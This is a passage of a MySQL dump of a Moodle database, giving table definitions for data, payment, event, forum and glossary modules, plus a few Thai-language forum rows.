  `created` int(10) unsigned NOT NULL DEFAULT '0',
  `modified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_data_comments`
--

LOCK TABLES `mdl_data_comments` WRITE;
/*!40000 ALTER TABLE `mdl_data_comments` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_data_comments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_data_content`
--

DROP TABLE IF EXISTS `mdl_data_content`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_data_content` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `fieldid` int(10) unsigned NOT NULL DEFAULT '0',
  `recordid` int(10) unsigned NOT NULL DEFAULT '0',
  `content` longtext COLLATE utf8_unicode_ci NOT NULL,
  `content1` longtext COLLATE utf8_unicode_ci NOT NULL,
  `content2` longtext COLLATE utf8_unicode_ci NOT NULL,
  `content3` longtext COLLATE utf8_unicode_ci NOT NULL,
  `content4` longtext COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_data_content`
--

LOCK TABLES `mdl_data_content` WRITE;
/*!40000 ALTER TABLE `mdl_data_content` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_data_content` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_data_fields`
--

DROP TABLE IF EXISTS `mdl_data_fields`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_data_fields` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `dataid` int(10) unsigned NOT NULL DEFAULT '0',
  `type` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `param1` text COLLATE utf8_unicode_ci NOT NULL,
  `param2` text COLLATE utf8_unicode_ci NOT NULL,
  `param3` text COLLATE utf8_unicode_ci NOT NULL,
  `param4` text COLLATE utf8_unicode_ci NOT NULL,
  `param5` text COLLATE utf8_unicode_ci NOT NULL,
  `param6` text COLLATE utf8_unicode_ci NOT NULL,
  `param7` text COLLATE utf8_unicode_ci NOT NULL,
  `param8` text COLLATE utf8_unicode_ci NOT NULL,
  `param9` text COLLATE utf8_unicode_ci NOT NULL,
  `param10` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_data_fields`
--

LOCK TABLES `mdl_data_fields` WRITE;
/*!40000 ALTER TABLE `mdl_data_fields` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_data_fields` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_data_ratings`
--

DROP TABLE IF EXISTS `mdl_data_ratings`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_data_ratings` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `recordid` int(10) unsigned NOT NULL DEFAULT '0',
  `rating` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_data_ratings`
--

LOCK TABLES `mdl_data_ratings` WRITE;
/*!40000 ALTER TABLE `mdl_data_ratings` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_data_ratings` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_data_records`
--

DROP TABLE IF EXISTS `mdl_data_records`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_data_records` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `groupid` int(10) unsigned NOT NULL DEFAULT '0',
  `dataid` int(10) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `approved` tinyint(4) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_data_records`
--

LOCK TABLES `mdl_data_records` WRITE;
/*!40000 ALTER TABLE `mdl_data_records` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_data_records` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_enrol_authorize`
--

DROP TABLE IF EXISTS `mdl_enrol_authorize`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_enrol_authorize` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `cclastfour` int(4) unsigned NOT NULL DEFAULT '0',
  `ccname` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `transid` int(10) unsigned NOT NULL DEFAULT '0',
  `status` int(10) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `settletime` int(10) unsigned NOT NULL DEFAULT '0',
  `amount` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `currency` varchar(3) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'USD',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `userid` (`userid`),
  KEY `status` (`status`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Holds all known information about authorize.net transactions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_enrol_authorize`
--

LOCK TABLES `mdl_enrol_authorize` WRITE;
/*!40000 ALTER TABLE `mdl_enrol_authorize` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_enrol_authorize` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_enrol_authorize_refunds`
--

DROP TABLE IF EXISTS `mdl_enrol_authorize_refunds`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_enrol_authorize_refunds` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `orderid` int(10) unsigned NOT NULL DEFAULT '0',
  `status` int(1) unsigned NOT NULL DEFAULT '0',
  `amount` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `transid` int(10) unsigned DEFAULT '0',
  `settletime` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `orderid` (`orderid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Authorize.net refunds';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_enrol_authorize_refunds`
--

LOCK TABLES `mdl_enrol_authorize_refunds` WRITE;
/*!40000 ALTER TABLE `mdl_enrol_authorize_refunds` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_enrol_authorize_refunds` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_enrol_paypal`
--

DROP TABLE IF EXISTS `mdl_enrol_paypal`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_enrol_paypal` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `business` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `receiver_email` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `receiver_id` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `item_name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `memo` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `tax` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `option_name1` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `option_selection1_x` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `option_name2` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `option_selection2_x` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `payment_status` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `pending_reason` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `reason_code` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `txn_id` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `parent_txn_id` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `payment_type` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timeupdated` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Holds all known information about Paypal transactions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_enrol_paypal`
--

LOCK TABLES `mdl_enrol_paypal` WRITE;
/*!40000 ALTER TABLE `mdl_enrol_paypal` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_enrol_paypal` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_event`
--

DROP TABLE IF EXISTS `mdl_event`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_event` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `format` int(4) unsigned NOT NULL DEFAULT '0',
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `groupid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `repeatid` int(10) unsigned NOT NULL DEFAULT '0',
  `modulename` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `instance` int(10) unsigned NOT NULL DEFAULT '0',
  `eventtype` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timestart` int(10) unsigned NOT NULL DEFAULT '0',
  `timeduration` int(10) unsigned NOT NULL DEFAULT '0',
  `visible` tinyint(4) NOT NULL DEFAULT '1',
  `uuid` char(36) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `sequence` int(10) unsigned NOT NULL DEFAULT '1',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `courseid` (`courseid`),
  KEY `userid` (`userid`),
  KEY `timestart` (`timestart`),
  KEY `timeduration` (`timeduration`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='For everything with a time associated to it';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_event`
--

LOCK TABLES `mdl_event` WRITE;
/*!40000 ALTER TABLE `mdl_event` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_event` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum`
--

DROP TABLE IF EXISTS `mdl_forum`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `type` enum('single','news','general','social','eachuser','teacher','qanda') COLLATE utf8_unicode_ci NOT NULL DEFAULT 'general',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `open` tinyint(2) unsigned NOT NULL DEFAULT '2',
  `assessed` int(10) unsigned NOT NULL DEFAULT '0',
  `assesspublic` int(4) unsigned NOT NULL DEFAULT '0',
  `assesstimestart` int(10) unsigned NOT NULL DEFAULT '0',
  `assesstimefinish` int(10) unsigned NOT NULL DEFAULT '0',
  `scale` int(10) NOT NULL DEFAULT '0',
  `maxbytes` int(10) unsigned NOT NULL DEFAULT '0',
  `forcesubscribe` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `trackingtype` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `rsstype` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `rssarticles` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `warnafter` int(10) unsigned NOT NULL DEFAULT '0',
  `blockafter` int(10) unsigned NOT NULL DEFAULT '0',
  `blockperiod` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Forums contain and structure discussion';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum`
--

LOCK TABLES `mdl_forum` WRITE;
/*!40000 ALTER TABLE `mdl_forum` DISABLE KEYS */;
INSERT INTO `mdl_forum` VALUES (1,2,'teacher','กระดานครูอาจารย์','กระดานสำหรับครูเท่านั้น เพื่อปรึกษาเรื่องการเรียนการสอน',2,0,0,0,0,0,0,0,1,0,0,1473136847,0,0,0),(2,2,'news','กระดานข่าว','ข่าวและประกาศ',1,0,0,0,0,0,0,1,1,0,0,1473136847,0,0,0),(3,3,'teacher','กระดานครูอาจารย์','กระดานสำหรับครูเท่านั้น เพื่อปรึกษาเรื่องการเรียนการสอน',2,0,0,0,0,0,0,0,1,0,0,1473145212,0,0,0),(4,3,'news','กระดานข่าว','ข่าวและประกาศ',1,0,0,0,0,0,0,1,1,0,0,1473145213,0,0,0);
/*!40000 ALTER TABLE `mdl_forum` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_discussions`
--

DROP TABLE IF EXISTS `mdl_forum_discussions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_discussions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `forum` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `firstpost` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `groupid` int(10) NOT NULL DEFAULT '-1',
  `assessed` tinyint(1) NOT NULL DEFAULT '1',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `usermodified` int(10) unsigned NOT NULL DEFAULT '0',
  `timestart` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `mdl_forum_discussions_forum_idx` (`forum`),
  KEY `mdl_forum_discussions_userid_idx` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Forums are composed of discussions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_discussions`
--

LOCK TABLES `mdl_forum_discussions` WRITE;
/*!40000 ALTER TABLE `mdl_forum_discussions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_discussions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_posts`
--

DROP TABLE IF EXISTS `mdl_forum_posts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_posts` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `discussion` int(10) unsigned NOT NULL DEFAULT '0',
  `parent` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `created` int(10) unsigned NOT NULL DEFAULT '0',
  `modified` int(10) unsigned NOT NULL DEFAULT '0',
  `mailed` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `subject` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `message` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(2) NOT NULL DEFAULT '0',
  `attachment` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `totalscore` tinyint(4) NOT NULL DEFAULT '0',
  `mailnow` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `mdl_forum_posts_parent_idx` (`parent`),
  KEY `mdl_forum_posts_discussion_idx` (`discussion`),
  KEY `mdl_forum_posts_userid_idx` (`userid`),
  KEY `mdl_forum_posts_created_idx` (`created`),
  KEY `mdl_forum_posts_mailed_idx` (`mailed`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='All posts are stored in this table';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_posts`
--

LOCK TABLES `mdl_forum_posts` WRITE;
/*!40000 ALTER TABLE `mdl_forum_posts` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_posts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_queue`
--

DROP TABLE IF EXISTS `mdl_forum_queue`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_queue` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `discussionid` int(10) unsigned NOT NULL DEFAULT '0',
  `postid` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `user` (`userid`),
  KEY `post` (`postid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='For keeping track of posts that will be mailed in digest for';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_queue`
--

LOCK TABLES `mdl_forum_queue` WRITE;
/*!40000 ALTER TABLE `mdl_forum_queue` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_queue` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_ratings`
--

DROP TABLE IF EXISTS `mdl_forum_ratings`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_ratings` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `post` int(10) unsigned NOT NULL DEFAULT '0',
  `time` int(10) unsigned NOT NULL DEFAULT '0',
  `rating` tinyint(4) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `userid` (`userid`),
  KEY `post` (`post`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Contains user ratings for individual posts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_ratings`
--

LOCK TABLES `mdl_forum_ratings` WRITE;
/*!40000 ALTER TABLE `mdl_forum_ratings` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_ratings` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_read`
--

DROP TABLE IF EXISTS `mdl_forum_read`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_read` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) NOT NULL DEFAULT '0',
  `forumid` int(10) NOT NULL DEFAULT '0',
  `discussionid` int(10) NOT NULL DEFAULT '0',
  `postid` int(10) NOT NULL DEFAULT '0',
  `firstread` int(10) NOT NULL DEFAULT '0',
  `lastread` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `mdl_forum_user_forum_idx` (`userid`,`forumid`),
  KEY `mdl_forum_user_discussion_idx` (`userid`,`discussionid`),
  KEY `mdl_forum_user_post_idx` (`userid`,`postid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Tracks each users read posts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_read`
--

LOCK TABLES `mdl_forum_read` WRITE;
/*!40000 ALTER TABLE `mdl_forum_read` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_read` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_subscriptions`
--

DROP TABLE IF EXISTS `mdl_forum_subscriptions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_subscriptions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `forum` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `userid` (`userid`),
  KEY `forum` (`forum`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Keeps track of who is subscribed to what forum';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_subscriptions`
--

LOCK TABLES `mdl_forum_subscriptions` WRITE;
/*!40000 ALTER TABLE `mdl_forum_subscriptions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_subscriptions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_forum_track_prefs`
--

DROP TABLE IF EXISTS `mdl_forum_track_prefs`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_forum_track_prefs` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) NOT NULL DEFAULT '0',
  `forumid` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `user_forum_idx` (`userid`,`forumid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Tracks each users untracked forums.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_forum_track_prefs`
--

LOCK TABLES `mdl_forum_track_prefs` WRITE;
/*!40000 ALTER TABLE `mdl_forum_track_prefs` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_forum_track_prefs` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary`
--

DROP TABLE IF EXISTS `mdl_glossary`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `studentcanpost` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `allowduplicatedentries` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `displayformat` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'dictionary',
  `mainglossary` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `showspecial` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `showalphabet` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `showall` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `allowcomments` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `allowprintview` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `usedynalink` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `defaultapproval` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `globalglossary` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `entbypage` tinyint(3) unsigned NOT NULL DEFAULT '10',
  `editalways` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `rsstype` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `rssarticles` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `assessed` int(10) unsigned NOT NULL DEFAULT '0',
  `assesstimestart` int(10) unsigned NOT NULL DEFAULT '0',
  `assesstimefinish` int(10) unsigned NOT NULL DEFAULT '0',
  `scale` int(10) NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='all glossaries';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary`
--

LOCK TABLES `mdl_glossary` WRITE;
/*!40000 ALTER TABLE `mdl_glossary` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_alias`
--

DROP TABLE IF EXISTS `mdl_glossary_alias`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_alias` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `entryid` int(10) unsigned NOT NULL DEFAULT '0',
  `alias` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `entryid` (`entryid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='entries alias';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_alias`
--

LOCK TABLES `mdl_glossary_alias` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_alias` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_alias` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_categories`
--

DROP TABLE IF EXISTS `mdl_glossary_categories`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_categories` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `glossaryid` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `usedynalink` tinyint(2) unsigned NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `glossaryid` (`glossaryid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='all categories for glossary entries';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_categories`
--

LOCK TABLES `mdl_glossary_categories` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_categories` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_categories` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_comments`
--

DROP TABLE IF EXISTS `mdl_glossary_comments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_comments` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `entryid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `comment` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `userid` (`userid`),
  KEY `entryid` (`entryid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='comments on glossary entries';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_comments`
--

LOCK TABLES `mdl_glossary_comments` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_comments` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_comments` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_entries`
--

DROP TABLE IF EXISTS `mdl_glossary_entries`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_entries` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
